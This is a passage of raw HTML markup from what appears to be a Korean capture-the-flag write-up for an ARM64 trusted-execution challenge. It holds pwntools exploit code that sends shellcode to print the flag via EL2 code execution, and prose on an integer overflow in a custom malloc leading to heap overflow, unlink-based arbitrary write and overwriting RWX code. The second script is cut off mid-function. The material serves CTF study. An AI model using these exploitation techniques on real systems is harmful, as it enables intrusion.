&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        mov x1, #2;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        mov x2, #3;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        hvc 0;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;send(shellcode)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;make_print_flag_shellcode&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    print_function: int, buf: int &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; str &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;sp&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt; str:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    assem &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; isinstance(buf, int):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        assem &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;ldr x0, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;hex(buf)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        assem &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;mov x0, &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;buf&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    shellcode &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    shellcode &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; make_shellcode(assem)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    GET_FLAG &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ae81ff&#34;&gt;0xD53BFC01&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ae81ff&#34;&gt;0xB9000001&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ae81ff&#34;&gt;0xD53BFC21&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ae81ff&#34;&gt;0xB9000401&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ae81ff&#34;&gt;0xD53BFC41&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ae81ff&#34;&gt;0xB9000801&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ae81ff&#34;&gt;0xD53BFC61&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ae81ff&#34;&gt;0xB9000C01&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ae81ff&#34;&gt;0xD53BFC81&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ae81ff&#34;&gt;0xB9001001&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ae81ff&#34;&gt;0xD53BFCA1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ae81ff&#34;&gt;0xB9001401&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ae81ff&#34;&gt;0xD53BFCC1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ae81ff&#34;&gt;0xB9001801&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ae81ff&#34;&gt;0xD53BFCE1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ae81ff&#34;&gt;0xB9001C01&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; x &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; GET_FLAG:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        shellcode &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p32(x)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    assem &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    ldr x5, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;hex(print_function)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    blr x5;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    nop;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    shellcode &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; make_shellcode(assem)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; shellcode
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;p &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; remote(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;localhost&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;6666&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# p = process(&amp;#34;../share/run.sh&amp;#34;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# p = process(&amp;#34;../share/run_debug.sh&amp;#34;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;el0_elf &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; ELF(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;./el0&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EL2_PRINT_FUNCTION &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x40101020&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;el2_arbitrary_code_execute(make_print_flag_shellcode(EL2_PRINT_FUNCTION))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;FLAG &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;recvline()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;print(&lt;span style=&#34;color:#e6db74&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Flag: &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;FLAG&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;decode()&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;sel0&#34;&gt;S.EL0&lt;/h3&gt;
&lt;p&gt;취약점은 save_key 의 custom malloc 에 존재한다.&lt;br&gt;
malloc 의 인자로 받는 size 의 align 을 맞추는 과정에서 size 에 더하기를 수행하지만, 그 결과를 검증하지 않아서 Integer Overflow 가 발생할 수 있다. 그러면 메모리 할당 후에 memcpy 를 하는 과정에서 Heap Overflow 가 발생할 수 있다.&lt;br&gt;
이 때 Data Abort 가 발생해도 아무런 문제가 발생하지 않기 때문에 편하게 익스를 할 수 있다.&lt;/p&gt;
&lt;p&gt;custom heap 도 free_list 를 가지고 있고 fd 를 통해 freed chunk 를 연결하므로 Heap Overflow 를 통해 free_list 를 변조할 수 있다. 그리고 unlink 를 통해 4byte aaw 가 가능하다.&lt;/p&gt;
&lt;p&gt;그리고 위에서 보면 알 수 있듯 SEL0 의 Code 영역은 RWX 권한이다. 따라서 코드 영역을 변조하면 Arbitrary Code Execute 를 할 수 있다.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;from&lt;/span&gt; pwn &lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# context.log_level = &amp;#34;debug&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;context&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;arch &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;aarch64&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;context&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;bits &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;context&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;endian &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;little&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;DUMMY_VALUE &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xDEAD_BEEF_CAFE_BEBE&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EL0_STACK_LOW &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x7FFF_7FFF_E000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EL0_SFP_IN_RUN &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x7FFF_7FFF_FFA0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EL0_BUF &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x7FFE_FFFF_D000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EL0_WSM &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x7FFE_FFFF_E000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EL0_LDP_X29_X30_SP_RET &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x0040_00FC&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EL0_LDR_X19_LDP_X29_X30_SP_RET &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x0040_0294&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EL0_RET &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x0040_0100&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;make_32_shellcode&lt;/span&gt;(assembly: str) &lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt; bytes:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    context&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;arch &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;arm&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    context&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;bits &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;32&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    context&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;endian &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;little&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    shellcode &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; asm(assembly)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;assert&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;not&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; shellcode
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; shellcode
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;make_thumb_shellcode&lt;/span&gt;(assembly: str) &lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt; bytes:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    context&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;arch &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;thumb&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    context&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;bits &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;32&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    context&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;endian &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;little&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    shellcode &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; asm(assembly)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;assert&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;not&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; shellcode
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; shellcode
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;make_64_shellcode&lt;/span&gt;(assembly: str) &lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt; bytes:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    context&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;arch &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;aarch64&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    context&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;bits &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    context&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;endian &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;little&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    shellcode &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; asm(assembly)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;assert&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;not&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; shellcode
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; shellcode
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;load_key&lt;/span&gt;(idx: int):
